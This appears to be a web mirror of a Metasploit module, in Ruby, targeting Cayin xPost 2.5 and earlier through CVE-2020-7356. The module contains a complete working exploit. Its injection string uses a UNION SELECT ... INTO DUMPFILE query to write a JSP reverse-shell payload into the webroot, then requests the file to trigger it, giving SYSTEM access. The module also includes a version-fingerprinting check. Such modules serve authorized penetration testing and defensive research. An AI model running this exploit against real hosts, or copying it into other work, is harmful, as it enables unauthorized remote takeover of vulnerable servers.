CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/cayin_xpost_sql_rce.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Cayin xPost wayfinder_seqid SQLi to RCE',
17
'Description' => %q{
18
This module exploits an unauthenticated SQLi in Cayin xPost <=2.5. The
19
wayfinder_meeting_input.jsp file's wayfinder_seqid parameter can be injected
20
with a blind SQLi. Since this app bundles MySQL and apache Tomcat the
21
environment is pretty static and therefore the default settings should
22
work. Results in SYSTEM level access.
23
Only the java/jsp_shell_reverse_tcp and java/jsp_shell_bind_tcp payloads
24
seem to be valid.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'h00die', # msf module
29
'Gjoko Krstic (LiquidWorm) <[email protected]>' # original PoC, discovery
30
],
31
'References' => [
32
[ 'EDB', '48558' ],
33
[ 'URL', 'https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5571.php' ],
34
[ 'CVE', '2020-7356' ]
35
],
36
'Platform' => ['java', 'win'],
37
'Privileged' => true,
38
'Arch' => ARCH_JAVA,
39
'Targets' => [
40
[ 'Automatic Target', {}]
41
],
42
'DisclosureDate' => '2020-06-04',
43
44
'DefaultOptions' => {
45
'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
46
},
47
# meterpreter is too large for payload space
48
'Payload' => {
49
'Space' => 2000,
50
'DisableNops' => true
51
},
52
'DefaultTarget' => 0,
53
'Notes' => {
54
'Stability' => [CRASH_SAFE],
55
'Reliability' => [REPEATABLE_SESSION],
56
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
57
}
58
)
59
)
60
register_options(
61
[
62
Opt::RPORT(80),
63
OptString.new('TARGETURI', [true, 'The URI of Cayin xPost', '/']),
64
OptString.new('LOCALWEBROOT', [true, 'Local install path webroot', 'C:/CayinApps/webapps/' ]), # default location
65
OptString.new('PAYLOADNAME', [false, 'Name of payload file to write', ''])
66
]
67
)
68
end
69
70
def check
71
res = send_request_cgi(
72
'uri' => normalize_uri(target_uri.path, 'cayin', 'js', 'English', 'language.js')
73
)
74
75
if res.nil? || res.code != 200
76
return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
77
end
78
79
%r{// xPost v(?<version>[\d.]+) } =~ res.body
80
81
if version && Rex::Version.new(version) <= Rex::Version.new('2.5')
82
print_good("Version Detected: #{version}")
83
return CheckCode::Appears
84
end
85
86
# try a backup plan, at least verify the title
87
res = send_request_cgi(
88
'uri' => normalize_uri(target_uri.path, 'cayin', 'index.jsp')
89
)
90
91
if res.nil? || res.code != 200
92
return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
93
94
end
95
96
if res.body =~ %r{<title>xPost</title>}
97
vprint_good('HTML Title includes xPost')
98
return CheckCode::Detected
99
end
100
CheckCode::Safe
101
rescue ::Rex::ConnectionError
102
CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
103
end
104
105
def exploit
106
filename = datastore['PAYLOADNAME'].blank? ? "#{rand_text_alphanumeric(6..12)}.jsp" : datastore['PAYLOADNAME']
107
filename = "#{filename}.jsp" unless filename.end_with? '.jsp'
108
109
vprint_status("Utilizing payload filename #{filename}")
110
vprint_status("Payload Size: #{payload.encoded.length}")
111
vprint_status("Payload Size Encoded: #{payload.encoded.unpack1('H*').length}")
112
113
payload_request = "-251' UNION ALL SELECT 0x"
114
payload_request << payload.encoded.unpack1('H*')
115
payload_request << ',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL '
116
payload_request << "INTO DUMPFILE '#{datastore['LOCALWEBROOT']}#{filename}'-- -"
117
payload_request.gsub!(' ', '%20')
118
119
vprint_status('Attempting Exploitation')
120
uri = normalize_uri(target_uri.path, 'cayin', 'wayfinder', 'wayfinder_meeting_input.jsp')
121
# use raw to prevent encoding of injection characters
122
res = send_request_raw(
123
'uri' => "#{uri}?wayfinder_seqid=#{payload_request}"
124
)
125
126
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
127
128
if res.code == 400
129
fail_with(Failure::UnexpectedReply, "#{peer} - Payload too large, utilize a smaller payload")
130
end
131
132
if res.code != 302
133
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response to injection")
134
end
135
136
register_file_for_cleanup("#{datastore['LOCALWEBROOT']}#{filename}")
137
138
vprint_status('Triggering uploaded payload')
139
send_request_cgi(
140
'uri' => normalize_uri(target_uri.path, filename)
141
)
142
rescue ::Rex::ConnectionError
143
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
144
end
145
end
146
147